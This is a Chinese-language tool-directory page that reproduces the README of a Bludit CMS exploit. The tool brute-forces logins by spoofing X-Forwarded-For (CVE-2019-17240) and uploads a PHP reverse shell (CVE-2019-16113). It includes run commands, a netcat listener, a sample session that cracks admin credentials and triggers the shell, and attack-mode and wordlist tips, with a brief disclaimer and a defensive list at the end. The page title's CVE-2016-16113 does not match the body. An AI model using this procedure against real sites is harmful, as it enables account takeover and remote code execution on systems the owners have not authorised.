Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2016-16113-POC — cve-2016-16113 | Kitploit
工具/GitHubGitHub/d3vn0mi/cve-2016-16113-poc
密码攻击Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubd3vn0mi/cve-2016-16113-poc

CVE-2016-16113-POC

cve-2016-16113

查看仓库
128个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Get RCE - Bludit CMS 漏洞利用工具

root@kitploit:~
     _ _____             ___            _ 
  __| |___ /_   ___ __  / _ \ _ __ ___ (_)
 / _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
 \__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|

一个自动化利用工具,结合了 CVE-2019-17240(认证绕过)和 CVE-2019-16113(任意文件上传),可在易受攻击的 Bludit CMS 安装上实现远程代码执行。

⚠️ 法律免责声明

仅限授权的安全测试

此工具专为进行授权渗透测试的安全专业人员以及在法律范围内开展研究的安全研究人员设计。未经授权访问计算机系统违反美国《计算机欺诈与滥用法案》(CFAA)以及全球类似法律。

使用此工具即表示您同意:

  • 仅测试您拥有或已获得明确书面许可的系统
  • 遵守所有适用的地方、州和联邦法律
  • 对自己的行为承担全部责任

作者不承担任何责任,并且不对因使用此工具造成的任何误用或损害负责。

📋 概述

此漏洞利用工具自动化完成以下过程:

  1. 检查目标可用性
  2. 通过暴力破解绕过认证(利用 CVE-2019-17240)
  3. 上传恶意 PHP 反向 Shell(利用 CVE-2019-16113)
  4. 建立反向 Shell 连接

漏洞详情

  • CVE-2019-17240:因速率限制实现不当导致的认证绕过(可通过操纵 X-Forwarded-For 头部绕过)
  • CVE-2019-16113:允许执行恶意 PHP 代码的任意文件上传漏洞

受影响版本:Bludit CMS 3.9.2 及以下版本

🚀 功能特性

  • ✅ 自动化目标可用性检查
  • ✅ 通过暴力破解绕过认证
  • ✅ 用户名枚举能力
  • ✅ 用户名 + 密码联合暴力破解
  • ✅ 自动处理 CSRF Token
  • ✅ PHP 反向 Shell Payload 生成
  • ✅ 上传 .htaccess 以增强利用效果
  • ✅ 连接验证

📦 环境要求

  • Python 3.6+
  • 所需 Python 包:
    • requests

🔧 安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/yourusername/get-rce.git
cd get-rce

# 安装依赖
pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.25.0

💻 使用方法

基本用法

root@kitploit:~
python3 get_rce.py

脚本会提示您输入:

  1. 目标 URL(例如 https://target.com)
  2. 您的监听器 IP 地址
  3. 您的监听器端口
  4. 是否暴力破解用户名
  5. 字典文件路径

设置监听器

运行漏洞利用工具之前,请先设置一个 netcat 监听器:

root@kitploit:~
nc -lvnp 4444

将 4444 替换为您选择的端口。

示例会话

root@kitploit:~
$ python3 get_rce.py

Enter target URL (i.e. https://target.com): http://10.10.10.191
[ ~ ] Enter listener's IP: 10.10.14.5
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...

[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username): 
[...] We are gonna default to 'admin' as username.

[ ~ ] Enter the location for password list: /usr/share/wordlists/rockyou.txt
[ * ] Tried: 123456
[ * ] Tried: password
[ * ] Tried: 12345678
...
[ + ] Creds found: admin:Password123
[ + ] Login succeed... We are good to go :)

[ + ] The payload XyZaBcDeFg.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
[ + ] You should be getting a shell by now, if not open http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php

攻击模式

模式 1:已知用户名 + 密码暴力破解

root@kitploit:~
Should I bruteforce username? [Y/N]: N
What username should I use?: admin
Enter the location for password list: /path/to/passwords.txt

模式 2:完整凭据暴力破解

root@kitploit:~
Should I bruteforce username? [Y/N]: Y
Enter the location for username wordlist: /path/to/usernames.txt
Enter the location for password wordlist: /path/to/passwords.txt

📝 推荐字典

  • SecLists:https://github.com/danielmiessler/SecLists

    • 用户名:SecLists/Usernames/Names/names.txt
    • 密码:SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
  • RockYou:/usr/share/wordlists/rockyou.txt(Kali Linux)

🔍 工作原理

  1. 目标验证:检查目标是否可达
  2. 认证绕过:
    • 操纵 X-Forwarded-For 头部以绕过速率限制
    • 使用提供的字典暴力破解凭据
    • 自动处理 CSRF Token
  3. 漏洞利用:
    • 上传 PHP 反向 Shell 到 /bl-content/tmp/
    • 上传 .htaccess 文件以确保执行
    • 触发 Payload 建立反向 Shell
  4. Shell 访问:连接回您的监听器

🛡️ 防御措施

如果您是系统管理员:

  • 立即更新至 Bludit 3.9.3 或更高版本
  • 实施基于会话而非 IP 的适当速率限制
  • 验证所有文件上传(类型、扩展名、内容)
  • 使用 Web 应用防火墙 (WAF)
  • 监控 /bl-content/tmp/ 目录以发现可疑文件
  • 实施强密码策略
  • 启用账户锁定机制

🐛 故障排除

问题:"目标似乎已关闭"

  • 检查 URL 是否正确,并包含协议(http/https)
  • 检查您的网络连接
  • 确保目标确实运行的是 Bludit

问题:"登录失败"

  • 验证凭据是否正确
  • 尝试更全面的字典
  • 检查目标是否启用了额外的身份验证机制

问题:"未收到 Shell"

  • 验证您的监听器是否正在运行
  • 检查两端的防火墙规则
  • 确保监听器 IP 和端口正确且可达

🔗 参考链接

  • CVE-2019-17240 详情
  • CVE-2019-16113 详情
  • Bludit 官方网站

👤 作者

d3vn0mi

📄 许可证

本项目仅供教育和授权安全测试目的使用。请参阅本 README 顶部的免责声明。

🤝 贡献

欢迎贡献、提出问题和功能请求!请随时查看 issues 页面。

⭐ 致谢

  • 感谢安全研究社区发现并记录这些漏洞
  • 感谢 Bludit 团队迅速响应并修补这些问题
下载工具